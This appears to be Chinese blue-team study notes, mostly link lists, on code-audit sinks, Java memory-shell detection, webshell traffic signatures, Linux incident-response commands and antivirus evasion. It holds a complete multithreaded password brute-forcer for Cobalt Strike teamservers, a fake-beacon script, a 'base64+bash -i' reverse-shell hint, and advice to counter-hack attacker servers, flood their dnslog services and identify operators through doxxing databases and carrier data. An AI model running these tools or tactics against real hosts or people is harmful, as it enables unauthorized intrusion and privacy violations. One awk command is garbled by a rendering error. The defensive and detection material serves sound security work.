preg_replace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter()
…
https://wiki.wgpsec.org/knowledge/code-audit/php-code-audit.html
https://www.anquanke.com/post/id/261910#h3-4
https://blog.csdn.net/weixin_43376075/article/details/105189017
https://baijiahao.baidu.com/s?id=1720302213380803056&wfr=spider&for=pc
https://www.cxymm.net/article/MCTSOG/123241396
https://blog.51cto.com/u_15072903/4074634
https://www.hackinn.com/index.php/archives/672/
https://xz.aliyun.com/t/9409
https://xz.aliyun.com/t/10997
base64+bash -i
https://www.anquanke.com/post/id/202672
dnslog、当前环境中找响应对象、抛出异常、web目录里写入html
https://xz.aliyun.com/t/7740
http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/
https://www.freebuf.com/articles/web/323529.html
https://www.anquanke.com/post/id/240033
http://www.ctfiot.com/13929.html
http://moonflower.fun/index.php/2022/02/21/277/
https://cloud.tencent.com/developer/article/1925830
利用java agent技术遍历所有已经加载到内存中的class,先判断是否是内存马,是则进入内存查杀
内存马的filter名一般比较特别,有shell或者随机数等关键字.这个特征较弱,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常的名字
为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需.但是在其他场景之下就非必须,之能作为一个可疑点
由于内存马的filter是动态注册的,所以在web.xml中肯定没有配置,这个是个可以的特征.但servlet 3.0引入了@WebFiler标签方便开发这个动态注册filter.这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征.
我们都知道filter也是class,也是必须有特定的class loader加载.正常的filter都是由中间件的webappclassloader加载的.反序列化漏洞喜欢利用Templatesimpl和bcel执行任意代码.所以这些class往往就是下面这两个
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader
这个特征是一个特别可疑的点.有的内存马还是比较狡猾的,他会注入class到当前线程中,然后实例化注入内存马.这个时候内存马就有可能不是上面的两个classloader
所谓内存马就是代码驻留在内存中,本地无对应的class文件,所以我们只要检测filter对应的classloader目录下是否存在class文件
我们可把内存中所有的filter的class dump出来,使用fernflower等反编译工具分析看看,是否存在而已代码,比如调用了以下恶意方法
java.lang.Runtime.getRuntime
defineClass
invoke
…
不难分析,内存马的命门在于5 和 6 也就是说filter型内存马首先是一个filter类,同时它在硬盘上面没有对应的class文件,若dump出的class文件还有而已代码,那么必定是内存马了.
两种方法各有优势,第一种方法比较通用,直接适配所有中间件,但是恶意的filter依然还在,只是恶意代码被清除了.第二种方法比较优雅,恶意的filter会被清除掉.但每种中间件注销filter的逻辑不尽相同,需要一一适配
https://gv7.me/articles/2020/kill-java-web-filter-memshell/
Tomcat 内存马学习(一):Filter型 (qq.com)
IDEA Plugin — Arthas 3.62 文档 (aliyun.com)
简单来说就是fastJSON在解析json数据的时候会自动触发一些方法.比如set get tostring ,当我们构造一些恶意的方法名字如果满足这个条件时,也会像set和get一样执行.
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.anquanke.com/post/id/170471
https://xz.aliyun.com/t/9902
https://netsecurity.51cto.com/article/703608.html
https://www.freebuf.com/articles/web/280398.html
https://www.iceswordlab.com/2022/02/10/CVE-2021-4034/
https://blog.csdn.net/qq_48985780/article/details/122297100
一般来说,红队大部分都是使用代理节点进行测试,假如我们捕获或者从样本里面分析拿到了真实的ip,那么以下的操作场景就有用了,或者使用钓鱼反调的方式去获取到真实的ip
ip,假设前面还有一层云waf cdn厂商等.那么需要协调到提供服务的厂商,快速获取到云waf或者cdn之前的节点真实ip.然后拿到了真实的ip,就变成了一些常规的溯源操作
ip,初步可以进行whois查询,以及域名反查,查看历史的解析,以及历史的ip用有记录,运气好的话,假如攻击队队员使用的是自己的博客之类的vps常用节点,那么很有可能通过这个手法进行溯源到相关人员
ip,对该ip进行端口探测,服务探测,进行反渗透,一般来说红队的vps都是在一些国内的一些vps主机供应商或者云服务供应商那边购买,假如是国内的话,可以通过公安网警来进行协助查水表,获取真实人员的身份.假如我们反渗透成功,那么可以提取历史登入记录,历史ip,网络连接,进程 以及攻击工具 进程 内存镜像等方式进行取证分析.
ip,对使用威胁情报进行综合分析,查看该ip他人对该ip打的标签,历史解析记录,历史变更记录,以及该ip上面关联的相关样本,这些都能够获取到进行进一步分析.
通过ip的whois获取到了相关人员的qq或者邮箱或者手机号,那么可以使用社工库,进行社工查询.比如twitter的社工库机器人或者自行研究的社工库进行综合关联分析
获取到了手机号,那么可以通过qq 微信 抖音 陌陌 等接口进行关联,一般获取到了手机号初步可以通过这种简单易行的手法去溯源到红队人员
有办法能通过ga资源,或者直接通过运营商拿数据,那就更好了
在防守里面,必不可少的是钓鱼邮件,或者社工钓鱼,一般来说钓鱼的样本无非这几种,exe elf可执行文件,以及加了料的doc类宏木马,一般而言,目前红队主要是通过cobalt strike生成相关上线的shell 那么针对cobalt strike如何进行反制呢
附cs 爆破密码脚本
#!/usr/bin/env python3
import time,socket,ssl,argparse,concurrent.futures,sys
MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",
help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
help="Newline-delimited word list file")
args = parser.parse_args()
class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
pass
def is_connected(self):
return self.sock and self.ssl_sock
def open(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))
def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None
def send(self, buffer):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
self.ssl_sock.sendall(buffer)
def receive(self):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
received_size = 0
data_buffer = b""
while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)
return data_buffer
def passwordcheck(password):
if len(password) > 0:
result = None
conn = Connector()
conn.open(args.host, 50050)
payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)
if conn.is_connected(): result = conn.receive()
if conn.is_connected(): conn.close()
if result == bytearray(b"\x00\x00\xca\xfe"): return password
else: return False
else: print("Do not have a blank password!!!")
passwords = []
if args.wordlist: passwords = open(args.wordlist).read().split("\n")
else:
for line in sys.stdin: passwords.append(line.rstrip())
if len(passwords) > 0:
attempts = 0
failures = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
for future in concurrent.futures.as_completed(future_to_check):
password = future_to_check[future]
try:
data = future.result()
attempts = attempts + 1
if data:
print ("Successful Attack!!!")
print("Target Password: {}".format(password))
except Exception as exc:
failures = failures + 1
print('%r generated an exception: %s' % (password, exc))
else:
print("Password(s) required")
3.假上线,我们只需要发送心跳包,即可模拟上线,并且攻击者无法执行命令.使用时更改换IP或域名、port、cookie
# coding: utf-8
import re
import time
import requests
def heartbeat():
url = "http://192.168.186.133:333/activity"
headers = {
'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
'Host': '192.168.186.133:333',
'Accept': '*/*',
'Connection': 'Keep-Alive',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
}
resp = requests.get(url=url,headers=headers)
text = resp.content.hex()
return text
x = True
while x:
text = heartbeat()
lengs = len(text)
# print(lengs, " ", text)
if '2f4320' in text and '000041' in text:
print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
commeds = re.findall(r'2f4320(.*?)000041', text)
for comm in commeds:
commed = bytes.fromhex(comm).decode('utf-8')
print(commed)
time.sleep(5)
通过流量设备审计到他人的dnslog平台的url payload,那么针对他的url payload可以进行反制.一般而言,常见的dnslog平台,蓝队防守的时候可以对厂家爱你的dnslog平台进行屏蔽.那么针对自行搭建的dnslog平台有以下思路
dnslog反制,可以批量ping捕获到的dnslog,然后而已扰乱他自行搭建的,恶意制造各种垃圾dnslog数据,让他无法获取到有效的信息,直接让红队人员被迫抛弃一个红队基础设施.具体可以写一个脚本比如站长之家之类的进行批量平,进行探测存活
httplog反制同理,可以使用爬虫节点,批量进行request请求捕获的http url即可,这样红队的dnslog平台几乎彻底报废.
红队基础建设:隐藏你的C2 server - 先知社区 (aliyun.com)
https://xz.aliyun.com/t/8385
https://www.secrss.com/articles/27611
https://www.likecs.com/show-305577004.html
AS_REQ & AS_REP - windows protocol (gitbook.io)
https://www.jianshu.com/p/4936da524040
https://blog.csdn.net/Ping_Pig/article/details/121228886
https://www.cnblogs.com/1-Ry/p/15418602.html
静态检测
静态检测通过匹配特征码,特征值,危险函数函数来查找 webshell 的方法,只能查找已知的 webshell
动态检测
webshell 传到服务器了,在执行函数时这些对于系统调用、系统配置、数据库、文件的操作动作都是可以作为判断依据
日志检测
使用 webshell 一般不会在系统日志中留下记录,但是会在网站的 web 日志中留下 webshell 页面的访问数据和数据提交记录
语法检测
语法语义分析形式,是根据 php 语言扫描编译的实现方式,进行剥离代码、注释,分析变量、函数、字符串、语言结构的分析方式,来实现关键危险函数的捕捉方式这样可以完美解决漏报的情况但误报上
网络连接:netstat -antlp 查看CPU占用率:top
查看操作命令中的相关信息:history | grep xmrig
查看登陆信息:last 失败的登陆信息:lastb
查看是否存在其它特权用户:
awk -F: ‘$3==0{print KaTeX parse error: Expected 'EOF', got '}' at position 2: 1}̲' /etc/passwd 黑…_=<>){ /for(.*?) from/; print “$1\n”;}’|uniq -c|sort -nr
管理员最近登录情况
grep "Accepted " /var/log/secure | awk ‘{print $1,$2,$3,$9,$11}’
登录成功的IP
grep "Accepted " /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more
网络连接
netstat -antlp | more
异常外联对应程序位置
ls -l /proc/9637
定时任务
cat /var/spool/cron/
自启服务及对应文件
chkconfig --list
find / -name centos_core.sh
自启服务文件时间
stat /etc/rc.d/init.d/centos_core.sh
定时任务日志
cat /var/log/cron
添加用户日志
grep “useradd” /var/log/secure
异常文件时间信息
stat /root/centos_core.elf
stat /shell.elf
计算文件哈希值
md5sum /shell.elf
md5sum /root/centos_core.elf
https://blog.riskivy.com/%E5%9F%BA%E4%BA%8E%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E7%9A%84webshell%E6%A3%80%E6%B5%8B%E6%96%B9%E6%B3%95%E4%B8%8E%E5%AE%9E%E7%8E%B0%EF%BC%88%E4%B8%8A%EF%BC%89/
菜刀
菜刀 webshell 只使用了 url 编码 + base64 编码
shell 特征就是传输参数名为 z0,还存在int_set("display_erros"**,**"0")
字符串特征
蚁剑
默认的蚁剑 shell,连接时会请求两次,其请求体只是经过 url 编码,其流量中也存在和蚁剑一样的代码
第一次请求,关闭报错和 magic_quotes,接下来去获取主机的信息
第二次请求,会把主机目录列出来
蚁剑单向加密,支持客户端传入信息
冰蝎3.0
使用 aes 加密发起两次请求
冰蝎是双向加密的
哥斯拉
支持 n 种加密
采用了和冰蝎 3.0 一样的密钥交换方式,哥斯拉建立连接时会发起三次请求,第一次请求数据超级长,建立 session,第二三次请求确认连接
Weevely
信息payload放于accetp头中,采用gzip压缩传输,使用异或加密.进行base64加密
https://www.freebuf.com/vuls/244095.html
https://cloud.tencent.com/developer/article/1802226
由于防火墙对于系统中正常的网络相关进程(例如Services.exe、Svchost.exe等)默认都是放行的,因此,木马一般都是注入到这些系统进程当中,并以此来穿透防火墙。
https://xz.aliyun.com/t/2549
https://www.anquanke.com/post/id/175364nnnn
在日志中寻找已知的漏洞特征
在攻击过程中,需要对系统进行各种特定的访问,这些访问与正常使用的用户访问区别较大,每一种工具行为都有不同的特征
可以匹配user-agent特征的方式进行检测
https://zhuanlan.zhihu.com/p/456903115
https://www.freebuf.com/articles/web/262005.html
https://www.freebuf.com/articles/web/274466.html
https://zhuanlan.zhihu.com/p/32059190
https://blog.csdn.net/smileiam/article/details/78226816
免杀大概分为两种情况
免杀也可以分为这两种情况
静态免杀针对的是杀毒软件的静态文件扫描,云查杀(病毒库).杀毒是提取文件一段特征码来识别病毒文件.
能识别一个程序的是一个病毒的一段不大于64字节的特征串
如果我们知道了一个文件是病毒,那么通过md5可定可以判断就是这个病毒文件.那么如果该病毒文件做了小小的变动呢,直接md5肯定不行了,那么杀毒软件是怎么做的呢?那么这里有一个叫做模糊哈希算法的东西
模糊哈希算法又叫基于内容分割的分片分片哈希算法,主要用于文件的相似性进行比较
大致就可以理解为,不要把一个文件的所有内容都拿来计算hash,而通过分片,取出部分重要(不易改变)的内容进行hash计算,这样就能达到通过特征码找到类似的病毒变种
具体杀毒软件是不是通过这个算法来计算特征码的,也不是很清楚
https://xz.aliyun.com/t/10369
https://cn-sec.com/archives/834733.html
https://cloud.tencent.com/developer/article/1593705
https://xz.aliyun.com/t/10369
https://www.freebuf.com/articles/web/322370.html
https://zhuanlan.zhihu.com/p/160763126
https://xz.aliyun.com/t/10507
https://yeasy.gitbook.io/docker_practice/image/build
tcp
udp